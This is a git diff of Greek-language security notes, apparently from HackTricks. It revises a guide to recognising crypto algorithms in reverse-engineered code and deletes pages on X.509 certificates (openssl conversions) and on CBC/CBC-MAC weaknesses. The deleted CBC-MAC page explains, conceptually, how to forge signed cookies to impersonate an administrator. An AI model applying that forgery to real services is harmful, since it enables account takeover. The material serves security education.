ελέγχοντας την τιμή της δεύτερης παραμέτρου: +Αν αυτή η λειτουργία χρησιμοποιείται, μπορείς να βρεις ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου: ![](<../../images/image (156).png>) -Ελέγξτε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Έλεγξε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** -Συμπιέζει και αποσυμπιέζει ένα δεδομένο buffer δεδομένων. +Συμπιέζει και αποσυμπιέζει ένα δεδομένο buffer. **CryptAcquireContext** -Από [τα docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Η λειτουργία **CryptAcquireContext** χρησιμοποιείται για να αποκτήσει ένα handle σε ένα συγκεκριμένο key container εντός ενός συγκεκριμένου κρυπτογραφικού παρόχου υπηρεσιών (CSP). **Αυτό το επιστρεφόμενο handle χρησιμοποιείται σε κλήσεις σε λειτουργίες CryptoAPI** που χρησιμοποιούν το επιλεγμένο CSP. +Από [τα docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Η λειτουργία **CryptAcquireContext** χρησιμοποιείται για να αποκτήσει ένα handle σε ένα συγκεκριμένο key container μέσα σε έναν συγκεκριμένο κρυπτογραφικό πάροχο υπηρεσιών (CSP). **Αυτό το επιστρεφόμενο handle χρησιμοποιείται σε κλήσεις σε λειτουργίες CryptoAPI** που χρησιμοποιούν τον επιλεγμένο CSP. **CryptCreateHash** -Αρχίζει την καταμέτρηση ενός ρεύματος δεδομένων. Αν αυτή η λειτουργία χρησιμοποιείται, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου: +Αρχίζει την καταμέτρηση ενός ρεύματος δεδομένων. Αν αυτή η λειτουργία χρησιμοποιείται, μπορείς να βρεις ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου: ![](<../../images/image (549).png>) \ -Ελέγξτε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Έλεγξε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) ### Σταθερές Κώδικα -Μερικές φορές είναι πολύ εύκολο να αναγνωρίσετε έναν αλγόριθμο χάρη στο γεγονός ότι χρειάζεται να χρησιμοποιήσει μια ειδική και μοναδική τιμή. +Μερικές φορές είναι πολύ εύκολο να αναγνωρίσεις έναν αλγόριθμο χάρη στο γεγονός ότι χρειάζεται να χρησιμοποιήσει μια ειδική και μοναδική τιμή. ![](<../../images/image (833).png>) -Αν ψάξετε για την πρώτη σταθερά στο Google αυτό είναι που θα βρείτε: +Αν ψάξεις για την πρώτη σταθερά στο Google αυτό είναι που θα βρεις: ![](<../../images/image (529).png>) -Επομένως, μπορείτε να υποθέσετε ότι η αποσυμπιεσμένη λειτουργία είναι ένας **υπολογιστής sha256.**\ -Μπορείτε να αναζητήσετε οποιαδήποτε από τις άλλες σταθερές και θα αποκτήσετε (πιθανώς) το ίδιο αποτέλεσμα. +Επομένως, μπορείς να υποθέσεις ότι η αποσυμπιεσμένη λειτουργία είναι ένας **υπολογιστής sha256.**\ +Μπορείς να ψάξεις οποιαδήποτε από τις άλλες σταθερές και θα αποκτήσεις (πιθανώς) το ίδιο αποτέλεσμα. ### πληροφορίες δεδομένων Αν ο κώδικας δεν έχει καμία σημαντική σταθερά μπορεί να είναι **φορτώνοντας πληροφορίες από την ενότητα .data**.\ -Μπορείτε να αποκτήσετε πρόσβαση σε αυτά τα δεδομένα, **ομαδοποιώντας το πρώτο dword** και να το αναζητήσετε στο Google όπως κάναμε στην προηγούμενη ενότητα: +Μπορείς να έχεις πρόσβαση σε αυτά τα δεδομένα, **ομαδοποιώντας το πρώτο dword** και ψάχνοντας το στο Google όπως κάναμε στην προηγούμενη ενότητα: ![](<../../images/image (531).png>) -Σε αυτή την περίπτωση, αν ψάξετε για **0xA56363C6** μπορείτε να βρείτε ότι σχετίζεται με τις **πίνακες του αλγορίθμου AES**. +Σε αυτή την περίπτωση, αν ψάξεις για **0xA56363C6** μπορείς να βρεις ότι σχετίζεται με τους **πίνακες του αλγορίθμου AES**. ## RC4 **(Συμμετρική Κρυπτογράφηση)** @@ -63,18 +61,18 @@ Αποτελείται από 3 κύρια μέρη: -- **Στάδιο αρχικοποίησης/**: Δημιουργεί έναν **πίνακα τιμών από 0x00 έως 0xFF** (256bytes συνολικά, 0x100). Αυτός ο πίνακας ονομάζεται συνήθως **Substitution Box** (ή SBox). -- **Στάδιο ανακατανομής**: Θα **περάσει από τον πίνακα** που δημιουργήθηκε πριν (κύκλος 0x100 επαναλήψεων, ξανά) δημιουργώντας τροποποιώντας κάθε τιμή με **ημι-τυχαία** bytes. Για να δημιουργηθούν αυτά τα ημι-τυχαία bytes, χρησιμοποιείται το κλειδί RC4. Τα **κλειδιά RC4** μπορούν να είναι **μεταξύ 1 και 256 bytes σε μήκος**, ωστόσο συνήθως συνιστάται να είναι πάνω από 5 bytes. Συνήθως, τα κλειδιά RC4 είναι 16 bytes σε μήκος. -- **Στάδιο XOR**: Τέλος, το απλό κείμενο ή το κρυπτογραφημένο κείμενο είναι **XORed με τις τιμές που δημιουργήθηκαν πριν**. Η λειτουργία για την κρυπτογράφηση και την αποκρυπτογράφηση είναι η ίδια. Για αυτό, θα εκτελεστεί ένας **κύκλος μέσω των δημιουργημένων 256 bytes** όσες φορές είναι απαραίτητο. Αυτό συνήθως αναγνωρίζεται σε έναν αποσυμπιεσμένο κώδικα με ένα **%256 (mod 256)**. +- **Στάδιο Αρχικοποίησης/**: Δημιουργεί έναν **πίνακα τιμών από 0x00 έως 0xFF** (256bytes συνολικά, 0x100). Αυτός ο πίνακας ονομάζεται συνήθως **Substitution Box** (ή SBox). +- **Στάδιο Ανακατανομής**: Θα **περάσει μέσα από τον πίνακα** που δημιουργήθηκε πριν (κύκλος 0x100 επαναλήψεων, ξανά) τροποποιώντας κάθε τιμή με **ημι-τυχαία** bytes. Για να δημιουργηθούν αυτά τα ημι-τυχαία bytes, χρησιμοποιείται το **κλειδί RC4**. Τα **κλειδιά RC4** μπορούν να είναι **μεταξύ 1 και 256 bytes σε μήκος**, ωστόσο συνήθως συνιστάται να είναι πάνω από 5 bytes. Συνήθως, τα κλειδιά RC4 είναι 16 bytes σε μήκος. +- **Στάδιο XOR**: Τέλος, το απλό κείμενο ή το κρυπτογραφημένο κείμενο **XORed με τις τιμές που δημιουργήθηκαν πριν**. Η λειτουργία για την κρυπτογράφηση και την αποκρυπτογράφηση είναι η ίδια. Για αυτό, θα εκτελείται ένας **κύκλος μέσα από τα δημιουργημένα 256 bytes** όσες φορές είναι απαραίτητο. Αυτό συνήθως αναγνωρίζεται σε έναν αποσυμπιεσμένο κώδικα με ένα **%256 (mod 256)**. -> [!NOTE] -> **Για να αναγνωρίσετε ένα RC4 σε έναν αποσυναρμολογημένο/αποσυμπιεσμένο κώδικα μπορείτε να ελέγξετε για 2 κύκλους μεγέθους 0x100 (με τη χρήση ενός κλειδιού) και στη συνέχεια ένα XOR των δεδομένων εισόδου με τις 256 τιμές που δημιουργήθηκαν πριν στους 2 κύκλους πιθανώς χρησιμοποιώντας ένα %256 (mod 256)** +> [!TIP] +> **Για να αναγνωρίσεις έναν RC4 σε έναν αποσυμπιεσμένο/αποσυμπιεσμένο κώδικα μπορείς να ελέγξεις για 2 κύκλους μεγέθους 0x100 (με τη χρήση ενός κλειδιού) και στη συνέχεια ένα XOR των δεδομένων εισόδου με τις 256 τιμές που δημιουργήθηκαν πριν στους 2 κύκλους πιθανώς χρησιμοποιώντας ένα %256 (mod 256)** -### **Στάδιο αρχικοποίησης/Πίνακας υποκατάστασης:** (Σημειώστε τον αριθμό 256 που χρησιμοποιείται ως μετρητής και πώς γράφεται ένα 0 σε κάθε θέση των 256 χαρακτήρων) +### **Στάδιο Αρχικοποίησης/Πίνακας Υποκατάστασης:** (Σημείωσε τον αριθμό 256 που χρησιμοποιείται ως μετρητής και πώς γράφεται ένα 0 σε κάθε θέση των 256 χαρακτήρων) ![](<../../images/image (584).png>) -### **Στάδιο ανακατανομής:** +### **Στάδιο Ανακατανομής:** ![](<../../images/image (835).png>) @@ -87,7 +85,7 @@ ### **Χαρακτηριστικά** - Χρήση **πινακων υποκατάστασης και πινάκων αναζήτησης** -- Είναι δυνατόν να **διακρίνετε το AES χάρη στη χρήση συγκεκριμένων τιμών πινάκων αναζήτησης** (σταθερές). _Σημειώστε ότι η **σταθερά** μπορεί να είναι **αποθηκευμένη** στο δυαδικό **ή να δημιουργηθεί** _**δυναμικά**._ +- Είναι δυνατόν να **διακρίνεις το AES χάρη στη χρήση συγκεκριμένων τιμών πίνακα αναζήτησης** (σταθερές). _Σημείωσε ότι η **σταθερά** μπορεί να είναι **αποθηκευμένη** στο δυαδικό **ή δημιουργημένη** _**δυναμικά**._ - Το **κλειδί κρυπτογράφησης** πρέπει να είναι **διαιρέσιμο** με **16** (συνήθως 32B) και συνήθως χρησιμοποιείται ένα **IV** 16B. ### Σταθερές SBox @@ -98,21 +96,21 @@ ### Χαρακτηριστικά -- Είναι σπάνιο να βρείτε κάποιο malware που να το χρησιμοποιεί αλλά υπάρχουν παραδείγματα (Ursnif) -- Απλό να προσδιορίσετε αν ένας αλγόριθμος είναι Serpent ή όχι με βάση το μήκος του (εξαιρετικά μακρά λειτουργία) +- Είναι σπάνιο να βρεις κάποιο malware που να το χρησιμοποιεί αλλά υπάρχουν παραδείγματα (Ursnif) +- Απλό να προσδιορίσεις αν ένας αλγόριθμος είναι Serpent ή όχι με βάση το μήκος του (εξαιρετικά μεγάλη λειτουργία) ### Αναγνώριση -Στην παρακάτω εικόνα παρατηρήστε πώς χρησιμοποιείται η σταθερά **0x9E3779B9** (σημειώστε ότι αυτή η σταθερά χρησιμοποιείται επίσης από άλλους κρυπτογραφικούς αλγόριθμους όπως **TEA** -Tiny Encryption Algorithm).\ -Επίσης σημειώστε το **μέγεθος του κύκλου** (**132**) και τον **αριθμό των λειτουργιών XOR** στις **εντολές αποσυναρμολόγησης** και στο **παράδειγμα κώδικα**: +Στην παρακάτω εικόνα παρατήρησε πώς χρησιμοποιείται η σταθερά **0x9E3779B9** (σημείωσε ότι αυτή η σταθερά χρησιμοποιείται επίσης από άλλους κρυπτογραφικούς αλγόριθμους όπως ο **TEA** -Tiny Encryption Algorithm).\ +Επίσης σημείωσε το **μέγεθος του κύκλου** (**132**) και τον **αριθμό των λειτουργιών XOR** στις **εντολές αποσυμπίεσης** και στο **παράδειγμα κώδικα**: ![](<../../images/image (547).png>) -Όπως αναφέρθηκε προηγουμένως, αυτός ο κώδικας μπορεί να οπτικοποιηθεί μέσα σε οποιονδήποτε αποσυμπιεστή ως μια **πολύ μακρά λειτουργία** καθώς **δεν υπάρχουν άλματα** μέσα σε αυτόν. Ο αποσυμπιεσμένος κώδικας μπορεί να φαίνεται όπως το εξής: +Όπως αναφέρθηκε προηγουμένως, αυτός ο κώδικας μπορεί να οπτικοποιηθεί μέσα σε οποιονδήποτε αποσυμπιεστή ως μια **πολύ μεγάλη λειτουργία** καθώς **δεν υπάρχουν άλματα** μέσα σε αυτόν. Ο αποσυμπιεσμένος κώδικας μπορεί να φαίνεται όπως το εξής: ![](<../../images/image (513).png>) -Επομένως, είναι δυνατόν να αναγνωρίσετε αυτόν τον αλγόριθμο ελέγχοντας τον **μαγικό αριθμό** και τους **αρχικούς XORs**, βλέποντας μια **πολύ μακρά λειτουργία** και **συγκρίνοντας** κάποιες **εντολές** της μακράς λειτουργίας **με μια υλοποίηση** (όπως το shift αριστερά κατά 7 και την περιστροφή αριστερά κατά 22). +Επομένως, είναι δυνατόν να αναγνωρίσεις αυτόν τον αλγόριθμο ελέγχοντας τον **μαγικό αριθμό** και τους **αρχικούς XORs**, βλέποντας μια **πολύ μεγάλη λειτουργία** και **συγκρίνοντας** κάποιες **εντολές** της μεγάλης λειτουργίας **με μια υλοποίηση** (όπως το shift αριστερά κατά 7 και την περιστροφή αριστερά κατά 22). ## RSA **(Ασύμμετρη Κρυπτογράφηση)** @@ -120,7 +118,7 @@ - Πιο περίπλοκος από τους συμμετρικούς αλγόριθμους - Δεν υπάρχουν σταθερές! (οι προσαρμοσμένες υλοποιήσεις είναι δύσκολο να προσδιοριστούν) -- KANAL (ένας αναλυτής κρυπτογράφησης) αποτυγχάνει να δείξει ενδείξεις για το RSA καθώς βασίζεται σε σταθερές. +- Ο KANAL (ένας αναλυτής κρυπτογράφησης) αποτυγχάνει να δείξει ενδείξεις για το RSA καθώς βασίζεται σε σταθερές. ### Αναγνώριση μέσω συγκρίσεων @@ -140,24 +138,24 @@ **Init** -Μπορείτε να αναγνωρίσετε και τους δύο ελέγχοντας τις σταθερές. Σημειώστε ότι η sha_init έχει 1 σταθερά που δεν έχει το MD5: +Μπορείς να αναγνωρίσεις και τους δύο ελέγχοντας τις σταθερές. Σημείωσε ότι η sha_init έχει 1 σταθερά που δεν έχει το MD5: ![](<../../images/image (406).png>) **MD5 Transform** -Σημειώστε τη χρήση περισσότερων σταθερών +Σημείωσε τη χρήση περισσότερων σταθερών ![](<../../images/image (253) (1) (1).png>) ## CRC (hash) - Μικρότερος και πιο αποδοτικός καθώς η λειτουργία του είναι να βρίσκει τυχαίες αλλαγές στα δεδομένα -- Χρησιμοποιεί πίνακες αναζήτησης (έτσι μπορείτε να αναγνωρίσετε σταθερές) +- Χρησιμοποιεί πίνακες αναζήτησης (έτσι μπορείς να αναγνωρίσεις σταθερές) ### Αναγνώριση -Ελέγξτε **σταθερές πίνακα αναζήτησης**: +Έλεγξε **σταθερές πίνακα αναζήτησης**: ![](<../../images/image (508).png>) @@ -170,7 +168,7 @@ ### Χαρακτηριστικά - Μη αναγνωρίσιμες σταθερές -- Μπορείτε να προσπαθήσετε να γράψετε τον αλγόριθμο σε python και να αναζητήσετε παρόμοια πράγματα online +- Μπορείς να προσπαθήσεις να γράψεις τον αλγόριθμο σε python και να ψάξεις για παρόμοια πράγματα online ### Αναγνώριση @@ -178,7 +176,7 @@ ![](<../../images/image (207) (2) (1).png>) -Ελέγξτε **3 συγκρίσεις για να το αναγνωρίσετε**: +Έλεγξε **3 συγκρίσεις για να τον αναγνωρίσεις**: ![](<../../images/image (430).png>) diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md deleted file mode 100644 index c34c33a03..000000000 --- a/src/cryptography/certificates.md +++ /dev/null @@ -1,157 +0,0 @@ -# Πιστοποιητικά - -{{#include ../banners/hacktricks-training.md}} - -## Τι είναι ένα Πιστοποιητικό - -Ένα **δημόσιο κλειδί πιστοποιητικό** είναι μια ψηφιακή ταυτότητα που χρησιμοποιείται στην κρυπτογραφία για να αποδείξει ότι κάποιος κατέχει ένα δημόσιο κλειδί. Περιλαμβάνει τις λεπτομέρειες του κλειδιού, την ταυτότητα του κατόχου (το υποκείμενο) και μια ψηφιακή υπογραφή από μια αξιόπιστη αρχή (τον εκδότη). Εάν το λογισμικό εμπιστεύεται τον εκδότη και η υπογραφή είναι έγκυρη, είναι δυνατή η ασφαλής επικοινωνία με τον κάτοχο του κλειδιού. - -Τα πιστοποιητικά εκδίδονται κυρίως από [αρχές πιστοποίησης](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) σε μια [υποδομή δημόσιου κλειδιού](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Μια άλλη μέθοδος είναι το [δίκτυο εμπιστοσύνης](https://en.wikipedia.org/wiki/Web_of_trust), όπου οι χρήστες επαληθεύουν άμεσα τα κλειδιά ο ένας του άλλου. Η κοινή μορφή για τα πιστοποιητικά είναι [X.509](https://en.wikipedia.org/wiki/X.509), η οποία μπορεί να προσαρμοστεί για συγκεκριμένες ανάγκες όπως περιγράφεται στο RFC 5280. - -## x509 Κοινά Πεδία - -### **Κοινά Πεδία σε Πιστοποιητικά x509** - -Στα πιστοποιητικά x509, αρκετά **πεδία** παίζουν κρίσιμους ρόλους στην εξασφάλιση της εγκυρότητας και της ασφάλειας του πιστοποιητικού. Ακολουθεί μια ανάλυση αυτών των πεδίων: - -- **Αριθμός Έκδοσης** σηματοδοτεί την έκδοση της μορφής x509. -- **Αριθμός Σειράς** προσδιορίζει μοναδικά το πιστοποιητικό μέσα στο σύστημα μιας Αρχής Πιστοποίησης (CA), κυρίως για παρακολούθηση ανάκλησης. -- Το **Υποκείμενο** πεδίο αντιπροσωπεύει τον κάτοχο του πιστοποιητικού, ο οποίος μπορεί να είναι μια μηχανή, ένα άτομο ή ένας οργανισμός. Περιλαμβάνει λεπτομερή ταυτοποίηση όπως: -- **Κοινό Όνομα (CN)**: Τομείς που καλύπτονται από το πιστοποιητικό. -- **Χώρα (C)**, **Τοποθεσία (L)**, **Πολιτεία ή Επαρχία (ST, S, ή P)**, **Οργάνωση (O)**, και **Οργανωτική Μονάδα (OU)** παρέχουν γεωγραφικές και οργανωτικές λεπτομέρειες. -- **Διακεκριμένο Όνομα (DN)** περιλαμβάνει την πλήρη ταυτοποίηση του υποκειμένου. -- **Εκδότης** αναφέρει ποιος επαλήθευσε και υπέγραψε το πιστοποιητικό, περιλαμβάνοντας παρόμοια υποπεδία όπως το Υποκείμενο για την CA. -- **Περίοδος Ικανότητας** σημειώνεται από τα χρονικά σήματα **Όχι Πριν** και **Όχι Μετά**, εξασφαλίζοντας ότι το πιστοποιητικό δεν χρησιμοποιείται πριν ή μετά από μια συγκεκριμένη ημερομηνία. -- Η ενότητα **Δημόσιο Κλειδί**, κρίσιμη για την ασφάλεια του πιστοποιητικού, προσδιορίζει τον αλγόριθμο, το μέγεθος και άλλες τεχνικές λεπτομέρειες του δημόσιου κλειδιού. -- Οι **επέκταση x509v3** ενισχύουν τη λειτουργικότητα του πιστοποιητικού, προσδιορίζοντας **Χρήση Κλειδιού**, **Εκτεταμένη Χρήση Κλειδιού**, **Εναλλακτικό Όνομα Υποκειμένου**, και άλλες ιδιότητες για την ακριβή ρύθμιση της εφαρμογής του πιστοποιητικού. - -#### **Χρήση Κλειδιού και Επεκτάσεις** - -- **Χρήση Κλειδιού** προσδιορίζει τις κρυπτογραφικές εφαρμογές του δημόσιου κλειδιού, όπως ψηφιακή υπογραφή ή κρυπτογράφηση κλειδιού. -- **Εκτεταμένη Χρήση Κλειδιού** περιορίζει περαιτέρω τις περιπτώσεις χρήσης του πιστοποιητικού, π.χ., για πιστοποίηση διακομιστή TLS. -- **Εναλλακτικό Όνομα Υποκειμένου** και **Βασικός Περιορισμός** καθορίζουν πρόσθετα ονόματα κεντρικών υπολογιστών που καλύπτονται από το πιστοποιητικό και αν είναι πιστοποιητικό CA ή τελικού φορέα, αντίστοιχα. -- Αναγνωριστικά όπως **Αναγνωριστικό Κλειδιού Υποκειμένου** και **Αναγνωριστικό Κλειδιού Αρχής** εξασφαλίζουν μοναδικότητα και ιχνηλασιμότητα των κλειδιών. -- **Πρόσβαση Πληροφοριών Αρχής** και **Σημεία Διανομής CRL** παρέχουν διαδρομές για την επαλήθευση της εκδούσας CA και τον έλεγχο της κατάστασης ανάκλησης του πιστοποιητικού. -- **CT Προπιστοποιητικά SCTs** προσφέρουν διαφάνεια, κρίσιμη για τη δημόσια εμπιστοσύνη στο πιστοποιητικό. -```python -# Example of accessing and using x509 certificate fields programmatically: -from cryptography import x509 -from cryptography.hazmat.backends import default_backend - -# Load an x509 certificate (assuming cert.pem is a certificate file) -with open("cert.pem", "rb") as file: -cert_data = file.read() -certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) - -# Accessing fields -serial_number = certificate.serial_number -issuer = certificate.issuer -subject = certificate.subject -public_key = certificate.public_key() - -print(f"Serial Number: {serial_number}") -print(f"Issuer: {issuer}") -print(f"Subject: {subject}") -print(f"Public Key: {public_key}") -``` -### **Διαφορά μεταξύ OCSP και CRL Distribution Points** - -**OCSP** (**RFC 2560**) περιλαμβάνει έναν πελάτη και έναν απαντητή που συνεργάζονται για να ελέγξουν αν ένα ψηφιακό πιστοποιητικό δημόσιου κλειδιού έχει ανακληθεί, χωρίς να χρειάζεται να κατεβάσουν ολόκληρη την **CRL**. Αυτή η μέθοδος είναι πιο αποδοτική από την παραδοσιακή **CRL**, η οποία παρέχει μια λίστα με τους αριθμούς σειράς των ανακληθέντων πιστοποιητικών αλλά απαιτεί τη λήψη ενός ενδεχομένως μεγάλου αρχείου. Οι CRLs μπορούν να περιλαμβάνουν έως και 512 καταχωρίσεις. Περισσότερες λεπτομέρειες είναι διαθέσιμες [εδώ](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). - -### **Τι είναι η Διαφάνεια Πιστοποιητικών** - -Η Διαφάνεια Πιστοποιητικών βοηθά στην καταπολέμηση των απειλών που σχετίζονται με πιστοποιητικά, διασφαλίζοντας ότι η έκδοση και η ύπαρξη SSL πιστοποιητικών είναι ορατές στους ιδιοκτήτες τομέων, τις CA και τους χρήστες. Οι στόχοι της είναι: - -- Να αποτρέψει τις CA από το να εκδίδουν SSL πιστοποιητικά για έναν τομέα χωρίς τη γνώση του ιδιοκτήτη του τομέα. -- Να καθιερώσει ένα ανοιχτό σύστημα ελέγχου για την παρακολούθηση πιστοποιητικών που εκδόθηκαν κατά λάθος ή κακόβουλα. -- Να προστατεύσει τους χρήστες από δόλια πιστοποιητικά. - -#### **Καταγραφές Πιστοποιητικών** - -Οι καταγραφές πιστοποιητικών είναι δημόσια ελεγχόμενα, μόνο προσθετικά αρχεία πιστοποιητικών, που διατηρούνται από υπηρεσίες δικτύου. Αυτές οι καταγραφές παρέχουν κρυπτογραφικές αποδείξεις για σκοπούς ελέγχου. Τόσο οι αρχές έκδοσης όσο και το κοινό μπορούν να υποβάλουν πιστοποιητικά σε αυτές τις καταγραφές ή να τα ελέγξουν για επαλήθευση. Ενώ ο ακριβής αριθμός των διακομιστών καταγραφής δεν είναι σταθερός, αναμένεται να είναι λιγότερος από χίλια παγκοσμίως. Αυτοί οι διακομιστές μπορούν να διαχειρίζονται ανεξάρτητα από τις CA, ISPs ή οποιαδήποτε ενδιαφερόμενη οντότητα. - -#### **Ερώτημα** - -Για να εξερευνήσετε τις καταγραφές Διαφάνειας Πιστοποιητικών για οποιονδήποτε τομέα, επισκεφθείτε [https://crt.sh/](https://crt.sh). - -Διαφορετικές μορφές υπάρχουν για την αποθήκευση πιστοποιητικών, καθεμία με τις δικές της περιπτώσεις χρήσης και συμβατότητα. Αυτή η σύνοψη καλύπτει τις κύριες μορφές και παρέχει καθοδήγηση για τη μετατροπή μεταξύ τους. - -## **Μορφές** - -### **Μορφή PEM** - -- Η πιο ευρέως χρησιμοποιούμενη μορφή για πιστοποιητικά. -- Απαιτεί ξεχωριστά αρχεία για πιστοποιητικά και ιδιωτικά κλειδιά, κωδικοποιημένα σε Base64 ASCII. -- Κοινές επεκτάσεις: .cer, .crt, .pem, .key. -- Χρησιμοποιείται κυρίως από Apache και παρόμοιους διακομιστές. - -### **Μορφή DER** - -- Μια δυαδική μορφή πιστοποιητικών. -- Λείπουν οι δηλώσεις "BEGIN/END CERTIFICATE" που βρίσκονται σε αρχεία PEM. -- Κοινές επεκτάσεις: .cer, .der. -- Συχνά χρησιμοποιείται με πλατφόρμες Java. - -### **Μορφή P7B/PKCS#7** - -- Αποθηκεύεται σε Base64 ASCII, με επεκτάσεις .p7b ή .p7c. -- Περιέχει μόνο πιστοποιητικά και αλυσίδες πιστοποιητικών, εξαιρώντας το ιδιωτικό κλειδί. -- Υποστηρίζεται από Microsoft Windows και Java Tomcat. - -### **Μορφή PFX/P12/PKCS#12** - -- Μια δυαδική μορφή που περιλαμβάνει πιστοποιητικά διακομιστή, ενδιάμεσα πιστοποιητικά και ιδιωτικά κλειδιά σε ένα αρχείο. -- Επεκτάσεις: .pfx, .p12. -- Χρησιμοποιείται κυρίως σε Windows για εισαγωγή και εξαγωγή πιστοποιητικών. - -### **Μετατροπή Μορφών** - -**Οι μετατροπές PEM** είναι απαραίτητες για τη συμβατότητα: - -- **x509 σε PEM** -```bash -openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem -``` -- **PEM σε DER** -```bash -openssl x509 -outform der -in certificatename.pem -out certificatename.der -``` -- **DER σε PEM** -```bash -openssl x509 -inform der -in certificatename.der -out certificatename.pem -``` -- **PEM σε P7B** -```bash -openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer -``` -- **PKCS7 σε PEM** -```bash -openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem -``` -**Οι μετατροπές PFX** είναι κρίσιμες για τη διαχείριση πιστοποιητικών στα Windows: - -- **PFX σε PEM** -```bash -openssl pkcs12 -in certificatename.pfx -out certificatename.pem -``` -- **PFX σε PKCS#8** περιλαμβάνει δύο βήματα: -1. Μετατροπή PFX σε PEM -```bash -openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem -``` -2. Μετατροπή PEM σε PKCS8 -```bash -openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 -``` -- **P7B σε PFX** απαιτεί επίσης δύο εντολές: -1. Μετατροπή P7B σε CER -```bash -openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer -``` -2. Μετατροπή CER και Ιδιωτικού Κλειδιού σε PFX -```bash -openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer -``` ---- - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md deleted file mode 100644 index aac64b4ff..000000000 --- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ /dev/null @@ -1,55 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# CBC - -Αν το **cookie** είναι **μόνο** το **όνομα χρήστη** (ή το πρώτο μέρος του cookie είναι το όνομα χρήστη) και θέλεις να προσποιηθείς το όνομα χρήστη "**admin**". Τότε, μπορείς να δημιουργήσεις το όνομα χρήστη **"bdmin"** και να **bruteforce** το **πρώτο byte** του cookie. - -# CBC-MAC - -**Cipher block chaining message authentication code** (**CBC-MAC**) είναι μια μέθοδος που χρησιμοποιείται στην κρυπτογραφία. Λειτουργεί παίρνοντας ένα μήνυμα και κρυπτογραφώντας το μπλοκ προς μπλοκ, όπου η κρυπτογράφηση κάθε μπλοκ συνδέεται με το προηγούμενο. Αυτή η διαδικασία δημιουργεί μια **αλυσίδα μπλοκ**, διασφαλίζοντας ότι η αλλαγή ακόμη και ενός μόνο bit του αρχικού μηνύματος θα οδηγήσει σε μια απρόβλεπτη αλλαγή στο τελευταίο μπλοκ των κρυπτογραφημένων δεδομένων. Για να γίνει ή να αντιστραφεί μια τέτοια αλλαγή, απαιτείται το κλειδί κρυπτογράφησης, διασφαλίζοντας την ασφάλεια. - -Για να υπολογίσεις το CBC-MAC του μηνύματος m, κρυπτογραφείς το m σε λειτουργία CBC με μηδενικό αρχικοποιητικό διανύσμα και κρατάς το τελευταίο μπλοκ. Η παρακάτω εικόνα σκιαγραφεί τον υπολογισμό του CBC-MAC ενός μηνύματος που αποτελείται από μπλοκ![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) χρησιμοποιώντας ένα μυστικό κλειδί k και έναν μπλοκ κρυπτογράφο E: - -![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() - -# Vulnerability - -Με το CBC-MAC συνήθως το **IV που χρησιμοποιείται είναι 0**.\ -Αυτό είναι ένα πρόβλημα γιατί 2 γνωστά μηνύματα (`m1` και `m2`) ανεξάρτητα θα δημιουργήσουν 2 υπογραφές (`s1` και `s2`). Έτσι: - -- `E(m1 XOR 0) = s1` -- `E(m2 XOR 0) = s2` - -Τότε ένα μήνυμα που αποτελείται από τα m1 και m2 που συνδυάζονται (m3) θα δημιουργήσει 2 υπογραφές (s31 και s32): - -- `E(m1 XOR 0) = s31 = s1` -- `E(m2 XOR s1) = s32` - -**Το οποίο είναι δυνατό να υπολογιστεί χωρίς να γνωρίζεις το κλειδί της κρυπτογράφησης.** - -Φαντάσου ότι κρυπτογραφείς το όνομα **Administrator** σε **8bytes** μπλοκ: - -- `Administ` -- `rator\00\00\00` - -Μπορείς να δημιουργήσεις ένα όνομα χρήστη που ονομάζεται **Administ** (m1) και να ανακτήσεις την υπογραφή (s1).\ -Τότε, μπορείς να δημιουργήσεις ένα όνομα χρήστη που είναι το αποτέλεσμα του `rator\00\00\00 XOR s1`. Αυτό θα δημιουργήσει `E(m2 XOR s1 XOR 0)` που είναι s32.\ -Τώρα, μπορείς να χρησιμοποιήσεις το s32 ως την υπογραφή του πλήρους ονόματος 